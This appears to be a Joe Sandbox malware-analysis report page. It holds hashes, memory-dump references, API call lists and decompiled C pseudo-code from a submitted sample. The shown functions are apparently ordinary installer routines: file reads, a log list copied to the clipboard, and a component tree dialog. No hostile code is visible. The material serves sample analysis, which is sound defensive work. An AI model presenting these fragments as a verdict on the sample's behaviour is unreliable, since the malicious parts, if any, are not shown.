Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 074f941138e9f1df105fff9ec0b177d36ae7deb3ea45ba36f2ce8c3e98632dd9
Instruction ID: 1a2f65c413df3ce73f95872002610f1c5d23223b0cff369f14e5668d8f4fdbee
Opcode Fuzzy Hash: 074f941138e9f1df105fff9ec0b177d36ae7deb3ea45ba36f2ce8c3e98632dd9
Instruction Fuzzy Hash: 3CC04CF1818641ABD6015B34DF4D81F7F66EB50321B108B35F169A01F0CB315C66DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 004031D5 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004031D5(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x004031d9
0x004031ec
0x004031f4
0x00000000
0x004031fb
0x00000000
0x004031fd

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00413120,0040B120,004030DA,00413120,00004000,?,00000000,?,00402F64,00000004,00000000,00000000), ref: 004031EC

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0be395bbe571093c8e78859d05ee89954336de5599fe3087c5eab9dc4054fae4
Instruction ID: d6fbb751533e8173f5cb9bb8eb792094bbd109b1eecd8ff5b75a0af7a5988eec
Opcode Fuzzy Hash: 0be395bbe571093c8e78859d05ee89954336de5599fe3087c5eab9dc4054fae4
Instruction Fuzzy Hash: 77E08C32104118BBDF209F619C05EA73F5CEB053A2F00C037FA25E52A1D230EA149BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403207 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403207(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x00403215
0x0040321b

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EB3,?), ref: 00403215

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1fe8ad6970e23be315a08abdb90e0b058f57890677f29add635e0ec7003afc6f
Instruction ID: 89776e93a0172b97a38fb7948c015c90ed7fb14eba3da05579cbd58eb2c2bcc6
Opcode Fuzzy Hash: 1fe8ad6970e23be315a08abdb90e0b058f57890677f29add635e0ec7003afc6f
Instruction Fuzzy Hash: 87B01271644200BFDB214F00DF06F057B61A794701F108030B744380F082712830EB1E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00405125 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405125(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				int _t94;
				int _t95;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423764;
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E004050B9, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b || _a12 != _t154) {
								goto L20;
							} else {
								_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
								_a8 = _t87;
								if(_t87 <= _t149) {
									L37:
									return 0;
								}
								_t160 = CreatePopupMenu();
								AppendMenuA(_t160, _t149, 1, E00405D1D(_t149, _t154, _t160, _t149, 0xffffffe1));
								_t92 = _a16;
								if(_t92 != 0xffffffff) {
									_t150 = _t92;
									_t94 = _t92 >> 0x10;
								} else {
									GetWindowRect(_t154,  &_v28);
									_t150 = _v28.left;
									_t94 = _v28.top;
								}
								_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
								_t162 = 1;
								if(_t95 == 1) {
									_v60 = _t149;
									_v48 = 0x420580;
									_v44 = 0xfff;
									_a4 = _a8;
									do {
										_a4 = _a4 - 1;
										_t162 = _t162 + SendMessageA(_v8, 0x102d, _a4,  &_v68) + 2;
									} while (_a4 != _t149);
									OpenClipboard(_t149);
									EmptyClipboard();
									_t101 = GlobalAlloc(0x42, _t162);
									_a4 = _t101;
									_t163 = GlobalLock(_t101);
									do {
										_v48 = _t163;
										_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
										 *_t164 = 0xa0d;
										_t163 = _t164 + 2;
										_t149 = _t149 + 1;
									} while (_t149 < _a8);
									GlobalUnlock(_a4);
									SetClipboardData(1, _a4);
									CloseClipboard();
								}
								goto L37;
							}
						}
						if( *0x42374c == _t149) {
							ShowWindow( *0x423f88, 8);
							if( *0x42400c == _t149) {
								E00404FE7( *((intOrPtr*)( *0x41fd50 + 0x34)), _t149);
							}
							E00403F90(1);
							goto L25;
						}
						 *0x41f948 = 2;
						E00403F90(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E0040401E(_a8, _a12, _a16);
						}
						ShowWindow( *0x423750, _t149);
						ShowWindow(_t154, 8);
						E00403FEC(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423f90;
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423750 = GetDlgItem(_a4, 0x403);
				 *0x423748 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423764 = _t127;
				_v8 = _t127;
				E00403FEC( *0x423750);
				 *0x423754 = E00404889(4);
				 *0x42376c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403FB7(_a4);
				if(( *0x423f98 & 0x00000003) != 0) {
					ShowWindow( *0x423750, _t149);
					if(( *0x423f98 & 0x00000002) != 0) {
						 *0x423750 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403FEC( *0x423748);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423f98 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x0040512e
0x00405134
0x0040513d
0x00405140
0x004052d8
0x004052fc
0x004052fc
0x0040530f
0x0040532d
0x00405334
0x0040538b
0x0040538f
0x00000000
0x00405396
0x0040539e
0x004053a6
0x004053a9
0x004054a2
0x00000000
0x004054a2
0x004053b8
0x004053c4
0x004053ca
0x004053d0
0x004053e5
0x004053eb
0x004053d2
0x004053d7
0x004053dd
0x004053e0
0x004053e0
0x004053fb
0x00405403
0x00405406
0x0040540f
0x00405412
0x00405419
0x00405420
0x00405428
0x00405428
0x0040543f
0x0040543f
0x00405446
0x0040544c
0x00405455
0x0040545c
0x00405465
0x00405467
0x0040546a
0x00405479
0x0040547b
0x00405481
0x00405482
0x00405483
0x0040548b
0x00405496
0x0040549c
0x0040549c
0x00000000
0x00405406
0x0040538f
0x0040533c
0x0040536c
0x00405374
0x0040537f
0x0040537f
0x00405386
0x00000000
0x00405386
0x00405340
0x0040534a
0x00000000
0x00405311
0x00405317
0x0040534f
0x00000000
0x00405358
0x00405320
0x00405325
0x00405328
0x00000000
0x00405328
0x0040530f
0x00405146
0x0040514a
0x00405153
0x0040515a
0x0040515d
0x00405160
0x00405163
0x00405164
0x00405165
0x0040517e
0x00405181
0x0040518b
0x0040519a
0x004051a2
0x004051aa
0x004051af
0x004051b2
0x004051be
0x004051c7
0x004051d0
0x004051f3
0x004051f9
0x0040520a
0x0040520f
0x0040521d
0x0040522b
0x0040522b
0x00405230
0x0040523e
0x0040523e
0x00405243
0x00405246
0x0040524b
0x00405257
0x00405260
0x0040526d
0x0040527c
0x0040526f
0x00405274
0x00405274
0x00405288
0x00405288
0x0040529c
0x004052a5
0x004052ae
0x004052be
0x004052ca
0x004052ca
0x00000000

APIs

GetDlgItem.USER32 ref: 00405184
GetDlgItem.USER32 ref: 00405193
GetClientRect.USER32 ref: 004051D0
GetSystemMetrics.USER32 ref: 004051D8
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 004051F9
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 0040520A
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 0040521D
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 0040522B
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040523E
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405260
ShowWindow.USER32(?,00000008), ref: 00405274
GetDlgItem.USER32 ref: 00405295
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004052A5
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052BE
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 004052CA
GetDlgItem.USER32 ref: 004051A2

Part of subcall function 00403FEC: SendMessageA.USER32(00000028,?,00000001,00403E1D), ref: 00403FFA

GetDlgItem.USER32 ref: 004052E7
CreateThread.KERNEL32 ref: 004052F5
CloseHandle.KERNEL32(00000000), ref: 004052FC
ShowWindow.USER32(00000000), ref: 00405320
ShowWindow.USER32(?,00000008), ref: 00405325
ShowWindow.USER32(00000008), ref: 0040536C
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040539E
CreatePopupMenu.USER32 ref: 004053AF
AppendMenuA.USER32 ref: 004053C4
GetWindowRect.USER32 ref: 004053D7
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053FB
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405436
OpenClipboard.USER32(00000000), ref: 00405446
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 0040544C
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405455
GlobalLock.KERNEL32 ref: 0040545F
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405473
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040548B
SetClipboardData.USER32 ref: 00405496
CloseClipboard.USER32 ref: 0040549C

Strings

{, xrefs: 0040538B

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 04b6882ea7cea37b6f5b214f95382faacd07c0f71360ca926f2f0a7f5b2d3af5
Instruction ID: e424ca0b0cb309e3be77902d9308c86312c6ad68702b37108e1cfd0bc7beca4c
Opcode Fuzzy Hash: 04b6882ea7cea37b6f5b214f95382faacd07c0f71360ca926f2f0a7f5b2d3af5
Instruction Fuzzy Hash: 3FA13AB0900209BFDB11AFA1DD89AAE7F79FB44355F00803AFA05BA1E0C7795A41DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404936 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00404936(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				int _t196;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423fa8;
				_t320 = SendMessageA;
				_v8 = _t182;
				_t315 = 0;
				_v32 = _t280;
				_v20 =  *0x423f90 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t289;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t289 + 4)) == 0x408) {
							if(( *0x423f99 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t315) {
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) & 0xffffffdf;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E004048B6(_v8, _a8 != 0x413);
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									if((_t289 & 0x00000010) == 0) {
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
										} else {
											_t300 = _t289 ^ 0x00000080;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t289 = 1;
										_a8 = 0x40f;
										_a12 = 1;
										_a16 =  !( *0x423f98) >> 0x00000008 & 1;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t315, _t315);
							}
							if(_a8 == 0x40b) {
								_t220 =  *0x42055c;
								if(_t220 != _t315) {
									ImageList_Destroy(_t220);
								}
								_t221 =  *0x420574;
								if(_t221 != _t315) {
									GlobalFree(_t221);
								}
								 *0x42055c = _t315;
								 *0x420574 = _t315;
								 *0x423fe0 = _t315;
							}
							if(_a8 != 0x40f) {
								L86:
								if(_a8 == 0x420 && ( *0x423f99 & 0x00000001) != 0) {
									_t316 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t316);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
								}
								goto L89;
							} else {
								E004011EF(_t289, _t315, _t315);
								if(_a12 != _t315) {
									E0040140B(8);
								}
								if(_a16 == _t315) {
									L73:
									E004011EF(_t289, _t315, _t315);
									_v32 =  *0x420574;
									_t196 =  *0x423fa8;
									_v60 = 0xf030;
									_v16 = _t315;
									if( *0x423fac <= _t315) {
										L84:
										InvalidateRect(_v8, _t315, 1);
										if( *((intOrPtr*)( *0x42375c + 0x10)) != _t315) {
											E00404871(0x3ff, 0xfffffffb, E00404889(5));
										}
										goto L86;
									}
									_t281 = _t196 + 8;
									do {
										_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
										if(_t202 != _t315) {
											_t291 =  *_t281;
											_v68 = _t202;
											_v72 = 8;
											if((_t291 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t281[4]);
												_t281[0] = _t281[0] & 0x000000fe;
											}
											if((_t291 & 0x00000040) == 0) {
												_t206 = (_t291 & 0x00000001) + 1;
												if((_t291 & 0x00000010) != 0) {
													_t206 = _t206 + 3;
												}
											} else {
												_t206 = 3;
											}
											_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t291 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t315,  &_v72);
										}
										_v16 = _v16 + 1;
										_t281 =  &(_t281[0x106]);
									} while (_v16 <  *0x423fac);
									goto L84;
								} else {
									_t282 = E004012E2( *0x420574);
									E00401299(_t282);
									_t217 = 0;
									_t289 = 0;
									if(_t282 <= _t315) {
										L72:
										SendMessageA(_v12, 0x14e, _t289, _t315);
										_a16 = _t282;
										_a8 = 0x420;
										goto L73;
									} else {
										goto L69;
									}
									do {
										L69:
										if( *((intOrPtr*)(_v20 + _t217 * 4)) != _t315) {
											_t289 = _t289 + 1;
										}
										_t217 = _t217 + 1;
									} while (_t217 < _t282);
									goto L72;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L89;
						} else {
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							if(_t283 == 0xffffffff ||  *((intOrPtr*)(_v20 + _t283 * 4)) == _t315) {
								_t283 = 0x20;
							}
							E00401299(_t283);
							SendMessageA(_a4, 0x420, _t315, _t283);
							_a12 = 1;
							_a16 = _t315;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x423fe0 = _a4;
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x420574 = GlobalAlloc(0x40,  *0x423fac << 2);
					_t250 = LoadBitmapA( *0x423f80, 0x6e);
					 *0x420568 =  *0x420568 | 0xffffffff;
					_v24 = _t250;
					 *0x420570 = SetWindowLongA(_v8, 0xfffffffc, E00404F37);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42055c = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x42055c);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405D1D(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403FB7(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403FB7(_a4);
					_t318 = 0;
					_t288 = 0;
					if( *0x423fac <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									if((_t269 & 0x00000004) == 0) {
										 *( *0x420574 + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x420574 + _t318 * 4) = _t274;
									_t288 =  *( *0x420574 + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_v24 = _t311;
						} while (_t318 <  *0x423fac);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403FEC(_v8);
								_t280 = _v32;
								_t315 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403FEC(_v12);
								L89:
								return E0040401E(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404954
0x0040495a
0x0040495c
0x00404962
0x00404968
0x00404975
0x0040497e
0x00404981
0x00404984
0x00404bac
0x00404bb3
0x00404bc7
0x00404bb5
0x00404bb7
0x00404bba
0x00404bbb
0x00404bc2
0x00404bc2
0x00404bd3
0x00404be1
0x00404be4
0x00404bfa
0x00404c72
0x00404c75
0x00404c77
0x00404c81
0x00404c8f
0x00404c8f
0x00404c91
0x00404c9b
0x00404ca1
0x00404cc2
0x00404ca3
0x00404cb0
0x00404cb0
0x00404ca1
0x00404c9b
0x00000000
0x00404c75
0x00404bff
0x00404c0a
0x00404c0f
0x00404c16
0x00404c1d
0x00404c27
0x00404c27
0x00404c2b
0x00404c30
0x00404c35
0x00404c4b
0x00404c37
0x00404c37
0x00404c3f
0x00404c46
0x00404c41
0x00404c41
0x00404c41
0x00404c3f
0x00404c4f
0x00404c51
0x00404c5f
0x00404c60
0x00404c6c
0x00404c6f
0x00404c6f
0x00404c30
0x00000000
0x00404c1d
0x00404c01
0x00404c08
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cc5
0x00404cc5
0x00404ccc
0x00404d40
0x00404d47
0x00404d53
0x00404d53
0x00404d5c
0x00404d5e
0x00404d65
0x00404d68
0x00404d68
0x00404d6e
0x00404d75
0x00404d78
0x00404d78
0x00404d7e
0x00404d84
0x00404d8a
0x00404d8a
0x00404d97
0x00404ee4
0x00404eeb
0x00404f08
0x00404f0e
0x00404f20
0x00404f20
0x00000000
0x00404d9d
0x00404d9f
0x00404da7
0x00404dab
0x00404dab
0x00404db3
0x00404df4
0x00404df6
0x00404e06
0x00404e09
0x00404e0e
0x00404e15
0x00404e18
0x00404eba
0x00404ec0
0x00404ece
0x00404edf
0x00404edf
0x00000000
0x00404ece
0x00404e1e
0x00404e21
0x00404e27
0x00404e2c
0x00404e2e
0x00404e30
0x00404e36
0x00404e3d
0x00404e42
0x00404e49
0x00404e4c
0x00404e4c
0x00404e53
0x00404e5f
0x00404e63
0x00404e65
0x00404e65
0x00404e55
0x00404e57
0x00404e57
0x00404e85
0x00404e91
0x00404ea0
0x00404ea0
0x00404ea2
0x00404ea5
0x00404eae
0x00000000
0x00404db5
0x00404dc0
0x00404dc3
0x00404dc8
0x00404dca
0x00404dce
0x00404dde
0x00404de8
0x00404dea
0x00404ded
0x00000000
0x00000000
0x00000000
0x00000000
0x00404dd0
0x00404dd0
0x00404dd6
0x00404dd8
0x00404dd8
0x00404dd9
0x00404dda
0x00000000
0x00404dd0
0x00404db3
0x00404d97
0x00404cd4
0x00000000
0x00404cea
0x00404cf4
0x00404cf9
0x00000000
0x00000000
0x00404d0b
0x00404d10
0x00404d1c
0x00404d1c
0x00404d1e
0x00404d2d
0x00404d2f
0x00404d36
0x00404d39
0x00000000
0x00404d39
0x00404cd4
0x0040498a
0x0040498f
0x00404999
0x0040499a
0x004049a3
0x004049ae
0x004049b9
0x004049bf
0x004049cd
0x004049e2
0x004049e7
0x004049f2
0x004049fb
0x00404a10
0x00404a21
0x00404a2e
0x00404a2e
0x00404a33
0x00404a39
0x00404a3b
0x00404a3e
0x00404a43
0x00404a48
0x00404a4a
0x00404a4a
0x00404a6a
0x00404a6a
0x00404a6c
0x00404a6d
0x00404a72
0x00404a75
0x00404a78
0x00404a7c
0x00404a81
0x00404a86
0x00404a8a
0x00404a8f
0x00404a94
0x00404a96
0x00404a9e
0x00404b68
0x00404b7b
0x00000000
0x00404aa4
0x00404aa7
0x00404aaa
0x00404aad
0x00404aad
0x00404ab3
0x00404ab9
0x00404abc
0x00404ac2
0x00404ac3
0x00404ac8
0x00404ad1
0x00404ad8
0x00404adb
0x00404ade
0x00404ae1
0x00404b1d
0x00404b46
0x00404b1f
0x00404b2c
0x00404b2c
0x00404ae3
0x00404ae6
0x00404af5
0x00404aff
0x00404b07
0x00404b0e
0x00404b16
0x00404b16
0x00404ae1
0x00404b4c
0x00404b4d
0x00404b59
0x00404b59
0x00404b66
0x00404b81
0x00404b85
0x00404ba2
0x00404ba7
0x00404baa
0x00000000
0x00404b87
0x00404b8c
0x00404b95
0x00404f22
0x00404f34
0x00404f34
0x00404b85
0x00000000
0x00404b66
0x00404a9e

APIs

GetDlgItem.USER32 ref: 0040494D
GetDlgItem.USER32 ref: 0040495A
GlobalAlloc.KERNEL32(00000040,?), ref: 004049A6
LoadBitmapA.USER32 ref: 004049B9
SetWindowLongA.USER32 ref: 004049D3
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004049E7
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 004049FB
SendMessageA.USER32(?,00001109,00000002), ref: 00404A10
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A1C
